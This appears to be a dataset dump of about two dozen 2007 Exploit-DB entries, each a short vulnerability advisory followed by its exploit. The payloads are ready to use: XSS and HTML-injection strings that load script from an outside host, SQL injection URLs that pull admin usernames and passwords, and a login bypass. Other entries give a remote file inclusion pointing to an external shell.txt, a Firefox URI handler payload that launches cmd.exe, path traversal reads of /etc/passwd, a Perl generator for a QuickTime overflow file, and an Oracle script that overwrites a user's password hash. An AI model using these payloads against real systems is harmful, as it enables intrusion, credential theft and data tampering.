QLWD/code_shield huggingface dataset:
标题: TBDev.NET DR - 'TakeProfEdit.php' HTML Injection EDB-ID: 30313 CVE: 2007-3838 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/24923/info

TBDev.NET DR is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

TBDev.NET DR 010306 and prior versions are vulnerable. 

version 11-10-05-BETA-SF1:111005 <=

 $avatar = $_POST["avatar"];

 where

 $_POST["avatar"]=javascript:alert(document.cookie);
  or
 $_POST["avatar"]="><script 
src=http://urlmaliciousJavaScript></script><";

-> last version  <= 010306
$_POST["avatar"]=javascript:alert(document.cookie);

go to
http://torrentvictim/userdetails.php?id=malicioususerprofileid
the souce code is:
...<tr><td class=rowhead>Avatar</td><td align=left><img src="\"><script
src=http://urlmaliciousJavaScript><script><\""></td></tr>...

or

...<tr><td class=rowhead>Avatar</td><td align=left><img
src="javascript:alert(document.cookie);"></td></tr>... URL: https://www.exploit-db.com/exploits/30313
标题: Insanely Simple Blog 0.4/0.5 - 'index.php' SQL Injection EDB-ID: 30317 CVE: 2007-3889 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/24934/info

Insanely Simple Blog is prone to multiple input-validation vulnerabilities, including cross-site scripting, HTML-injection, and SQL-injection issues, because the application fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, steal cookie-based authentication credentials, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.

Insanely Simple Blog 0.5 and prior versions are vulnerable. 

http://www.example.com/index.php?current_subsection=2 or 1=1/*
http://www.example.net/index.php?current_subsection=2%20union%20all%20select blah from content/* URL: https://www.exploit-db.com/exploits/30317
标题: ActiveWeb Contentserver CMS 5.6.2929 - Client-Side Filtering Bypass EDB-ID: 30299 CVE: 2007-3017 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/24898/info

activeWeb contentserver is prone to a client-side input-validation vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker can exploit these input-validation vulnerabilities to perform various attacks (e.g. cross-site scripting, SQL injection, etc.).

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/30299
标题: Dating Gold 3.0.5 - 'header.php?int_path' Remote File Inclusion EDB-ID: 30301 CVE: 2007-3792 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/24910/info

AzDG Dating Gold is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

AzDG Dating Gold 3.0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/scriptpath/templates/header.php?int_path=http://www.example2.com/shell.txt?cmd URL: https://www.exploit-db.com/exploits/30301
标题: MzK Blog - 'Katgoster.asp' SQL Injection EDB-ID: 30300 CVE: 2007-3824 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/24909/info

MzK Blog is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/script_path/katgoster.asp?katID=-1+union+select+0,kullaniciadi,2,3,4,5,6,7+from+admin

http://www.example.com/script_path/katgoster.asp?katID=-1+union+select+0,sifre,2,3,4,5,6,7+from+admin URL: https://www.exploit-db.com/exploits/30300
标题: Yahoo! Messenger 8.1 - Address Book Remote Buffer Overflow EDB-ID: 30314 CVE: 2007-3638 类型: DOS 平台: WINDOWS 发布日期: 2007-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/24926/info

Yahoo! Messenger is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code in the context of the application or to cause denial-of-service conditions.

Yahoo! Messenger 8.1 and prior versions are vulnerable.


1. Create an address book entry using Yahoo! portal with a large amount of 'a's in 'email address' textbox.
2. Log in to Yahoo! Messenger
3. Go to the address book tab
4. Place your mouse pointer over the specially crafted address book entry
5. Yahoo! Messenger will immediately crash URL: https://www.exploit-db.com/exploits/30314
标题: Apple QuickTime 7.1.5 - Information Disclosure / Multiple Code Execution Vulnerabilities EDB-ID: 30292 CVE: 2007-2394 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/24873/info

Apple QuickTime is prone to an information-disclosure and multiple remote code-execution vulnerabilities.

Remote attackers may exploit these issues by enticing victims into opening maliciously crafted files or visiting maliciously crafted websites.

Successful exploits may allow attackers to execute arbitrary code in the context of a user running the vulnerable application or to obtain sensitive information. Failed exploit attempts of remote code-execution issues may result in denial-of-service conditions. Successful exploits of the information-disclosure issue may lead to further attacks. 

----------------------------------------------------------------------
ATTACK VECTORS
----------------------------------------------------------------------

This vulnerability can be triggered by luring a target user into
running a malicious SMIL file locally or via a webpage. In the later
scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:

<OBJECT
  CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
  CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab"
  WIDTH="10" HEIGHT="10" >
  <!-- malicious SMIL file -->
  <PARAM NAME="src" VALUE="poc.smil" />
  <EMBED
    <!-- available .qtif or .mov file to start up QT for FF -->
    SRC="available-sample.qtif"
    <!-- malicious SMIL file -->
    QTSRC="poc.smil"
    WIDTH="10" HEIGHT="10"
    PLUGINSPAGE=" www.apple.com/quicktime/download"
    TYPE="video/quicktime"
  />
</OBJECT>

----------------------------------------------------------------------
PROOF OF CONCEPT
----------------------------------------------------------------------

#!/usr/bin/perl -w

####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes <d.vaartjes at gmail.com>
####

$file = " poc.smil";
$padd = "x";
$cop_len = 36;

####
# By choosing the following lengths the
# integer overflow will be triggered.
####

$tit_len = 223;
$auth_len = 65280;

open(FH,">$file") or die "Can't open file:$!";

print FH
 "<smil>\n".
 "<head>\n".
 " <meta name=\"title\" content=\"".$padd x $tit_len."\"/>\n".
 " <meta name=\"author\" content=\"".$padd x $auth_len."\"/>\n".
 " <meta name=\"copyright\" content=\"".$padd x $cop_len."\"/>\n".
 "</head>\n".
 "</smil>";

close(FH); URL: https://www.exploit-db.com/exploits/30292
标题: contentserver 5.6.2929 - '/errors/rights.asp?msg' Cross-Site Scripting EDB-ID: 30297 CVE: 2007-3014 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/24895/info

activeWeb contentserver is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Reports indicate that versions prior to contentserver 5.6.2964 are vulnerable to this issue.

http://www.example.com/errors/rights.asp?awReadAccessRight=True&msg=<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/30297
标题: contentserver 5.6.2929 - '/errors/transaction.asp?msg' Cross-Site Scripting EDB-ID: 30298 CVE: 2007-3014 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/24895/info
 
activeWeb contentserver is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Reports indicate that versions prior to contentserver 5.6.2964 are vulnerable to this issue.

http://www.example.com/errors/transaction.asp?msg=<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/30298
标题: Microsoft Internet Explorer and Mozilla Firefox - URI Handler Command Injection EDB-ID: 30285 CVE: 2007-3670 类型: REMOTE 平台: LINUX 发布日期: 2007-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/24837/info

Microsoft Internet Explorer, Mozilla Firefox and Netscape Navigator are prone to a vulnerability that lets attackers inject commands through the 'firefoxurl' and 'navigatorurl' protocol handlers.

Exploiting these issues allows remote attackers to pass and execute arbitrary commands and arguments through the 'firefox.exe' and 'navigator.exe' processes by employing the 'firefoxurl' and 'navigatorurl' handlers.

An attacker can also employ these issues to carry out cross-browser scripting attacks by using the '-chrome' argument. This can allow the attacker to run JavaScript code with the privileges of trusted Chrome context and gain full access to Firefox and Netscape Navigator's resources.

Exploiting these issues would permit remote attackers to influence command options that can be called through the 'firefoxurl' and 'navigatorurl' handlers and therefore execute commands and script code with the privileges of a user running the applications. Successful attacks may result in a variety of consequences, including remote unauthorized access. 

navigatorurl:test"%20-chrome%20"javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process) URL: https://www.exploit-db.com/exploits/30285
标题: Inmostore 4.0 - 'index.php' SQL Injection EDB-ID: 30294 CVE: 2007-3789 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/24884/info

Inmostore is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Inmostore 4.0 is vulnerable to this issue. 

http://www.example.com/admin/index.php

Username: admin
Password: 'or''=' URL: https://www.exploit-db.com/exploits/30294
标题: Helma 1.5.3 - Search Script Cross-Site Scripting EDB-ID: 30293 CVE: 2007-3693 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/24880/info

Helma is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Helma 1.5.3 is vulnerable; other versions may also be affected.

http://www.example.com/search/?q=[XSS] URL: https://www.exploit-db.com/exploits/30293
标题: ClamAV / UnRAR - .RAR Handling Remote Null Pointer Dereference EDB-ID: 30291 CVE: 2007-3725 类型: REMOTE 平台: LINUX 发布日期: 2007-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/24866/info

Multiple applications using RAR are prone to a NULL-pointer dereference vulnerability.

A successful attack will result in denial-of-service conditions. Attackers may also be able to exploit this issue to execute arbitrary code, but this has not been confirmed.

This issue affects the following:

ClamAV prior to 0.91
'UnRAR' 3.70; other versions may also be vulnerable.

Other applications using the vulnerabile 'UnRAR' utility are affected by this issue. We will update this BID as more information emerges. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30291.rar URL: https://www.exploit-db.com/exploits/30291
标题: TippingPoint IPS - Unicode Character Detection Bypass EDB-ID: 30287 CVE: 2007-3701 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/24855/info

TippingPoint IPS is prone to a detection-bypass vulnerability because the appliance fails to properly handle Unicode characters.

A successful exploit of this issue may allow an attacker to bypass the filter and detection system of vulnerable appliances, allowing malicious URI traffic through. This will likely aid the attacker in further attacks.

http://www.example.com/scripts%c0%afcmd.exe
http://www.example.com/scripts%e0%80%afcmd.exe
http://www.example.com/scripts%c1%9ccmd.exe URL: https://www.exploit-db.com/exploits/30287
标题: Oracle Database - SQL Compiler Views Unauthorized Manipulation EDB-ID: 30295 CVE: 2007-3855 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/24887/info

Oracle has released a Critical Patch Update advisory for July 2007 to address multiple vulnerabilities for supported releases. Earlier unsupported releases are likely to be affected by these issues as well.

The issues identified by the vendor affect all security properties of the Oracle products and present local and remote threats. Various levels of authorization are needed to leverage some of the issues, but other issues do not require any authorization. The most severe of the vulnerabilities could possibly expose affected computers to complete compromise. 

--
-- bunkerview.sql 
--
-- Oracle 9i/10g - evil view exploit (CVE-2007-3855)
-- Uses evil view to perform unauthorized password update
--
-- by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
-- 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
--
-- This code should be used only for LEGAL purpose!
-- ...and remember: use Oracle at your own risk ;-)
--
-- Thanks to security researchers all around the world...
-- Smarties rules (they know what I mean)! ;-D
--
--
-- SQL> select * from user_sys_privs;
-- 
-- USERNAME                       PRIVILEGE                                ADM
-- ------------------------------ ---------------------------------------- ---
-- TEST                           CREATE VIEW                              NO
-- TEST                           CREATE SESSION                           NO
--
-- SQL> select password from sys.user$ where name='TEST';
--
-- PASSWORD
-- ------------------------------
-- AAAAAAAAAAAAAAAA
-- 
-- SQL> @bunkerview
-- [+] bunkerview.sql - Evil view exploit for Oracle 9i/10g (CVE-2007-3855)
-- [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
-- [+] 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
-- 
-- Target username (default TEST):
-- 
-- View created.
-- 
-- old   1:   update bunkerview set password='6D9FEAAB597EF01B' where name='&the_user'
-- new   1:   update bunkerview set password='6D9FEAAB597EF01B' where name='TEST'
-- 
-- 1 row updated.
-- 
-- 
-- View dropped.
-- 
-- 
-- Commit complete.
-- 
-- SQL> select password from sys.user$ where name='TEST';
-- 
-- PASSWORD
-- ------------------------------
-- 6D9FEAAB597EF01B
--
set serveroutput on;
prompt [+] bunkerview.sql - Evil view exploit for Oracle 9i/10g (CVE-2007-3855)
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
create or replace view bunkerview as 
  select x.name,x.password from sys.user$ x left outer join sys.user$ y on x.name=y.name;
  update bunkerview set password='6D9FEAAB597EF01B' where name='&the_user';
  drop view bunkerview;
commit; URL: https://www.exploit-db.com/exploits/30295
标题: ImgSvr 0.6 - 'Template' Local File Inclusion EDB-ID: 30286 CVE: 2007-3714 类型: WEBAPPS 平台: LINUX 发布日期: 2007-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/24853/info

ImgSvr is prone to a local file-include vulnerability because it fails to sanitize user-supplied input.

Attackers may exploit this issue to access files that may contain sensitive information.

UPDATE (December 24, 2007): According to the vendor, this issue was addressed in ImgSvr 0.6.21. However, reports indicate that this version is still vulnerable.

GET /?template=../../../../../../../../../../etc/passwd HTTP/1.0 URL: https://www.exploit-db.com/exploits/30286
标题: ActiveWeb Contentserver 5.6.2929 - 'Picture_Real_Edit.asp' SQL Injection EDB-ID: 30296 CVE: 2007-3013 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/24894/info

activeWeb contentserver is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Reports indicate that contentserver versions prior to 5.6.2964 are vulnerable to this issue. 

https://www.example.com/admin/picture/picture_real_edit.asp?id='%20union%20select%20@@version%20,@@microsoftversion,@@version-- URL: https://www.exploit-db.com/exploits/30296
标题: EnViVo!CMS - 'default.asp?ID' SQL Injection EDB-ID: 30289 CVE: 2005-1413 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/24860/info

enVivo!CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

All versions are considered vulnerable to this issue.

http://www.example.com/default.asp?action=article&ID=-1+or+1=(SELECT+TOP+1+username+from+users)-- URL: https://www.exploit-db.com/exploits/30289
标题: Adobe Flash Player 8.0.24 - '.SWF' File Handling Remote Code Execution EDB-ID: 30288 CVE: 2007-3456 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/24856/info

Adobe Flash Player is prone to a remote code-execution vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue by tricking an unsuspecting victim into opening a malicious file.

A successful exploit will result in the execution of arbitrary attacker-supplied code in the context of the victim running the vulnerable application.

Adobe Flash Player 9.0.45.0 and earlier, 8.0.34.0 and earlier, and 7.0.69.0 and earlier are affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30288.zip URL: https://www.exploit-db.com/exploits/30288
标题: OpManager 6/7 - 'traceRoute.do?name' Cross-Site Scripting EDB-ID: 30272 CVE: 2007-3594 类型: WEBAPPS 平台: JAVA 发布日期: 2007-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24767/info
 
OpManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/map/traceRoute.do?name=192.168.1.2%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C% 6F%73%74%6D%6F%6E%2E62% 6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%D%6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%2 0%21%21%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3 E%3C%2F%62%6F%64%79%3E URL: https://www.exploit-db.com/exploits/30272
标题: Maia Mailguard 1.0.2 - 'login.php' Multiple Local File Inclusions EDB-ID: 30277 CVE: 2007-3619 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/24770/info

Maia Mailguard is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an unauthorized user to view files and execute local scripts.

These issues affects Maia Mailguard 1.0.2 and prior versions. 

http://www.example.com/maia/login.php?lang=../../../../../../../../../../../../../var/log/httpd-error.log%00.txt URL: https://www.exploit-db.com/exploits/30277
标题: Microsoft .Net Framework 2.0 - Multiple Null Byte Injection Vulnerabilities EDB-ID: 30281 CVE: 2007-0042 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/24791/info

Microsoft .NET Framework is prone to multiple NULL-byte injection vulnerabilities because it fails to adequately sanitize user-supplied data.

An attacker can exploit these issues to access sensitive information that may aid in further attacks; other attacks are also possible. 

http://www.example.com/[path]/somescript.asp%00 URL: https://www.exploit-db.com/exploits/30281
标题: OpManager 6/7 - 'admin/ServiceConfiguration.do?Operation' Cross-Site Scripting EDB-ID: 30274 CVE: 2007-3594 类型: WEBAPPS 平台: JAVA 发布日期: 2007-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24767/info
   
OpManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/admin/ServiceConfiguration.do?operati on=modifyNTService%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%7 0%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F% 73%74%6D%6F%6E%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E %4C%6F%73%74%6D%6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%2 1%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20% 21%21%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72 %74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2 F%73%63%72%69%70%74%3E%3C%2F%62%6F%64%79%3E&services=Alerte r&serviceName=Alerter URL: https://www.exploit-db.com/exploits/30274